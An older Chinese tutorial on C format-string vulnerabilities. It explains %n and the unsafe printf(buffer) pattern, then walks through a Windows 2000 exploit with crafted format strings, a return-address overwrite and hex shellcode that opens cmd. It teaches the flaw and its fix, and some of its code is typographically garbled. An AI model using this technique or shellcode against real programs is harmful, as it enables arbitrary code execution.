格式化字符的安全问题

原创 2005年04月25日 20:53:00
即使只有一点C语言基础的人也会printf()函数,实际上C语言教科书上通常的第一个程序就是“Hello, World!”,Kernighan and Ritchie在《The C Programming Language》中引发的惯例。

#include <stdio.h>
void main(void)
{
printf("/nHello,World!/n/n");
}

  这并没有完,在C语言中,当编译并运行这个程序向屏幕打印“Hello, World!”并不是简单的向屏幕输出字符串。和相关的程序fprintf(),vprintf() 以及 sprintf()等一样,就想在print后面加上“f”,这些实际上是打印格式。格式化部分允许程序员控制显示文本的样式。可以通过代替特殊的格式字符来显示值或数据,比如,要显示整型的变量“dVal”的值,就可以使用下面的格式化字符:

  printf(“The value is %d”,dVal);

  打印的时候,%d就被dVal的值所代替。如果程序员想用十六进制显示同样值:

  printf(“The value in decimal is %d and in hexadecimal is %x”,dVal,dVal);

  这里%d表示十进制的dVal值,%x表示十六进制的dVal的值。下面是集中特殊的格式化字符:

  %c 单字符格式
  %d 十进制整型 (pre ANSI)
  %e,%E 指数形式的 float or double
  %f 十进制 float or double
  %I 整型 (like %d)
  %o 八进制整型
  %p 地址指针
  %s 字符串
  %x,%X 十六进制整型

  当然,功能不仅限于怎么控制显示的数据类型,而且也能控制显示的宽度和队列等。

  一个格式字符%n没有列在上面,因为有特殊用途,但是它存在的格式化字符安全问题也非常严重。%n用于把前面打印的字符数记录到一个变量中。也用于统计格式化的字节数,这当然需要一个空间来存储这个数字,因此程序需要为此分配内存,例如下面的代码:

  1. #include <stdio.h>
  2. int main()
  3. {
  4. int bytes_formatted=0;
  5. char buffer[28]=”ABCDEFGHIJKLMNOPQRSTUVWXYZ”;
  6. printf(“%.20x%n”,buffer,&bytes_formatted);
  7. printf(“/nThe number of bytes formatted in the previous printf statement was %d/n”,bytes_formatted);
  8. return 0;
  9. }

  编译后输出显示为:

  0000000000000012ff64
  The number of bytes formatted in the previous printf statement was 20

在第四行申明了一个int类型的变量bytes_formatted,在第六行,格式化字符表示20个字符应该按十六进制 (“%.20x”) 进行格式化,%n则把值20写到bytes_formatted变量中。这意味着已经写了一个值到另外的内存空间中。现在我们不讨论编译者写数值或者写地址的影响,而讨论那种通过通过某种方式在操作这些值的时候造成了缺陷(溢出),如果这样成功的话,可能获得超过程序的执行控制。

  在程序员试图传递一个字符串到一个使用格式化字符的格式函数中,就可能发生溢出情况。参考下面的程序。

#include <stdio.h>
void main(int argc, char *argv[])
{
int count = 1;
while(argc > 1)
{
printf(argv[count]);
printf(“ “);
count ++;
argc --;
}
}

  编译并运行后显示如下程序:

Prompt: myecho hello
hello
Prompt: myecho this is some text
this is some text

So it justs spits back what we feed in – or does it? Try:

Prompt: myecho %x%x
112ffc0
 

  注意到myecho %x%x,并没有按照原本的意思打印出来,却显示的十六进制数?原因正是因为这些属于格式化字符,它们被传递给printf()函数却没有用函数来解释这些字符,被认为是格式化字符。安全的写法应该是

  printf(“%s”,argv[count]);

  而不是:

  printf(argv[count]);

  一个攻击者能够怎么利用呢?他们使用 “%n”格式化字符,能写任意值到他们选定的内存中!如果实现了,就能够控制程序的执行。例如,在Intel上,能就可以重写堆栈中的地址,并指向他们的攻击代码,这可以执行任意目的的程序。这种格式化字符漏洞利用起来需要考虑使用函数、操作系统和处理器类型。

  Windows 2000 / Intel 下的格式化字符漏洞问题

  考虑下面有漏洞的代码:

#include <stdio.h>

int main(int argc, char *argv[])
{
char buffer[512]="";
strncpy(buffer,argv[1],500);
printf(buffer);
return 0;
}
 

  这个程序拷贝第一个参数到一个缓冲区,然后简单地把缓冲区传递给 printf, 有问题的代码是这一行:

  printf(buffer);

  因为可以提供一个格式化字符作为第一个参数,而被传递给 printf() ,假设这个程序编译后叫 printf.exe。

  攻击者现在会试图用提供的地址来重写堆栈中函数的返回地址,提供的地址可以指向攻击代码(shell code)。要达到这样的目的,需要得到格式化打印的确切字节数,用来匹配需要用的地址。

例:如果攻击者的攻击代码在地址0x0012FF40处,那么,就要让 printf 表达式格式0x0012FF40个字节,格式化字符串就可以是:

  c:/>printf %.622496x%.622496x%n

  这就让1244992字节被printf表达式格式化打印,这个数字的十六进制就是0x0012FF40。但是目前并不完善,攻击者需要把exploit代码也放进去,这需要占据字节数。因此,要产生shell ,在windows 2000中这至多需要 40字节的 exploit code ,因此,需要修改格式化字符串放入代码就需要从622496中减去40。

  就变成:

  c:/>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%.622496x%.622456x%n

  在这个例子中,攻击者只是简单地用字符“A”替代攻击代码。现在可以运行它但是可能发生非法存取问题,因为程序试图写的地址0x41414141可能没有初始化。当这个问题出现的时候调试程序,正如看到的,不愉快的一行是:

  mov dword ptr [eax],ecx

  它试图移动(mov)ecx (etc是0x0012FF40,攻击者找到攻击的地址)到 eax (现在是0x41414141)地址中,由于0x41414141这个区域还没有初始化,所以就会出现存取错误。同时,调试并找到攻击代码字符串(刚才只是假设它们的地址是0x0012FF40),但是它们却并不在0x0012FF40存在,而是在地址0x0012FD80中。相差并不远,但是,要利用起来是需要非常精确的。因此,需要再次修改那些格式字符串。在这之前,通过找一个合适的目标(需要重写的返回地址)来进行的。攻击者发现了一个相似的目标,地址0x0012FD54,它储存的地址是0x00401077,因此,可以类似这样来进行。现在接着要达到的目的就是要重写EI为P地址0x0012FD80,这个地址就是攻击代码的地址。如果达到这个目的,把这个返回地址推送到堆栈中,进程就会开始执行攻击代码了。怎样才能重写地址0x0012FD54,而刚才做的事情却一直是在试图重写地址0x41414141?好,这是一个线索。%n格式化字符把指向字符串中某处的指针标志到字符串的结尾处。攻击者要做的就是把%n从格式化字符串中的某个位置变化到字符串结尾处,要达到这个目的就需要使用添加更多的%x来完成,攻击者用BBBB来标记字符串结尾。

  c:/>printf   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

  这是,程序试图写的地址是0x78257825,我们转换成十进制数发现0x78只是小写的“x”,0x25是“%”,所以看出来现在写的位置还是"%x%x%x%x"中的某个地方,这样,我们就继续试探,增加更多的%x:

  c:/>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
  %x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

  这次正好到了,现在要试图写的地址就是0x42424242(也就是BBBB),攻击者把BBBB代替成攻击代码的返回位置0x0012FD54。但是,只是在这里可以用ASCII很简单地写0x12 或者 0xFD,所以需要写另外的一个程序来把这些值写进去。攻击者用%x一直达到能够重写需要的地址0x0012FD80,而现在这个值变成了0x00130019(refdom注:因为多了很多%x,所以让%n的大小也增加了),需要少写665字节内容,把刚才的622456改变成621791,程序就是:

#include <stdio.h>

int main()
{
char buffer[500]="printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x %x%x%.622496x%.621791x%n/x54/xFD/x12";

system(buffer);

return 0;
}
 
编译运行后又有了一个新的非法存取问题:在0x0012FF90处的指令引用了0x00000030处的存储器。注意,在0x0012FF90处的指令(这是一个堆栈地址),并且显然,攻击的进程正试图执行堆栈中的代码,格式化字符串exploit起作用了!攻击者已经成功地重写了返回地址,并将程序引到那里去了。现在,攻击者只需把exploit代码放进去,刚才用AAA来代替了。攻击者会先做一个确定,替代前面的四个A成为一个检查点:

#include <stdio.h>
int main()
{
char buffer[500]="printf ";
charbuffer2[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%.622496x%.621791x%n/x54/xFD/x12";
strcat(buffer,"/xCC/xCC/xCC/xCC");
strcat(buffer,buffer2);
system(buffer);
return 0;
}

  (注:代码中charbuffer2中比前面的少了四个A,用后面的/xCC/xCC/xCC/xCC代替了)

  当运行到这个检查点的时候,回到了代码。现在能够确认已经能够获得并控制程序的执行,接着放入exploit代码。假设shell代码是下面的:

push ebp // Procedure Prologue - often not needed
mov ebp,esp // Procedure Prologue - often not needed
xor edi,edi // Get some NULLs
push edi // Push them onto the stack
mov byte ptr [ebp-04h],63h // Write 'c' of cmd
mov byte ptr [ebp-03h],6Dh // Write 'm' of cmd
mov byte ptr [ebp-02h],64h // Write 'd' of cmd
push edi // Push NULLs again (2nd Param for WinExec())
mov byte ptr [ebp-08h],03h // Turn it into SW_MAXIMIZE
lea eax,[ebp-04h] // Load address of cmd into EAX
push eax // Push it onto stack (1st Param for WinExec())
mov eax, 0x77E9B50E // Move address of WinExec() into EAX
call eax //<---- Call it

  这样,程序就成为:

#include <stdio.h>

int main()
{
char buffer[500]="printf ";
char exploit_code[]=","/x55/x8B/xEC/x33/xFF/x57/xC6/x45/xFC/x63/xC6
/x45/xFD/x6D/xC6/x45/xFE/x64/x57/xC6/x45/xF8/x01/x8D/x45/xFC/x50/
xB8/x0E/xB5/xE9/x77/xFF/xD0/xCC";
char buffer2[]="AAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%.622496x%.621791x%n /x54/xFD/x12";

strcat(buffer,exploit_code);
strcat(buffer,buffer2);

system(buffer);

return 0;
}
 

  编译后运行了新的shell。

  这是在WIN2000中利用格式化字符漏洞的一种简单方法。整个思路就是:格式化一个跟exploit代码地址位置这么大小的字符串,并用这个值重写了堆栈中程序的返回地址,这样,当子程序运行返回后不是返回本来的地址,相反,而是接着替代的地址继续执行程序了。

  利用printf类函数并不一定跟这个例子一样。例如:如果在用vsprintf函数的有问题代码(在Van Dyke Technologies’ SSH Server for Windows, Vshell,发现过),攻击者并不能象printf()这样选择内存位置,它被限制在参数列表及其以后的一个地址段中,而象VShell,第十三个参数是一个保存这一个函数指针的地址,因此可以用攻击者的函数指针重写这个地址来利用。

Java Web 一些特殊字符的过滤(appscan检查的安全问题)

适用于出现以下问题: 1、SQL盲注 2、存储的跨站点脚本编制 或 跨站点脚本编制 import java.io.IOException; import java.util.Enumerati...

C/C++字符串,字符数组,字符指针及其相互静态拷贝与追加的安全问题解决方案(2)

前言接上篇内容,这次会描述字符串的安全追加,建议一样,看懂代码,不要盲目调试,多debug,多查看内存代码及其解释#include #include #includeusing namespace s...

SimpleDateFormat时间格式化存在线程安全问题

SimpleDateFormat时间格式化存在线程安全问题,   想必大家对SimpleDateFormat并不陌生。SimpleDateFormat 是 Java 中一个非常常用的类,该类...

关于SimpleDateFormat安全的时间格式化线程安全问题

想必大家对SimpleDateFormat并不陌生。SimpleDateFormat 是 Java 中一个非常常用的类,该类用来对日期字符串进行解析和格式化输出,但如果使用不小心会导致非常微妙和难以调...
  • zxh87
  • zxh87
  • 2014年02月18日 16:19
  • 19386

关于SimpleDateFormat安全的时间格式化线程安全问题

想必大家对SimpleDateFormat并不陌生。SimpleDateFormat 是 Java 中一个非常常用的类,该类用来对日期字符串进行解析和格式化输出,但如果使用不小心会导致非常微妙和难以调...

关于SimpleDateFormat安全的时间格式化线程安全问题

想必大家对SimpleDateFormat并不陌生。SimpleDateFormat 是 Java 中一个非常常用的类,该类用来对日期字符串进行解析和格式化输出,但如果使用不小心会导致非常微妙和难以调...
  • sdmjhca
  • sdmjhca
  • 2017年03月16日 11:51
  • 89

关于SimpleDateFormat安全的时间格式化线程安全问题

想必大家对SimpleDateFormat并不陌生。SimpleDateFormat 是 Java 中一个非常常用的类,该类用来对日期字符串进行解析和格式化输出,但如果使用不小心会导致非常微妙和难以调...

URI, HTTP 与 HTML安全问题

  • 2017年09月17日 19:43
  • 882KB
  • 下载

网络安全问题思考

  • 2015年04月22日 22:11
  • 13KB
  • 下载

web开发常见安全问题(SQL注入、XSS攻击、CSRF攻击)

web开发常见安全问题(SQL注入、XSS攻击、CSRF攻击)
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:格式化字符的安全问题
举报原因:
原因补充:

(最多只允许输入30个字)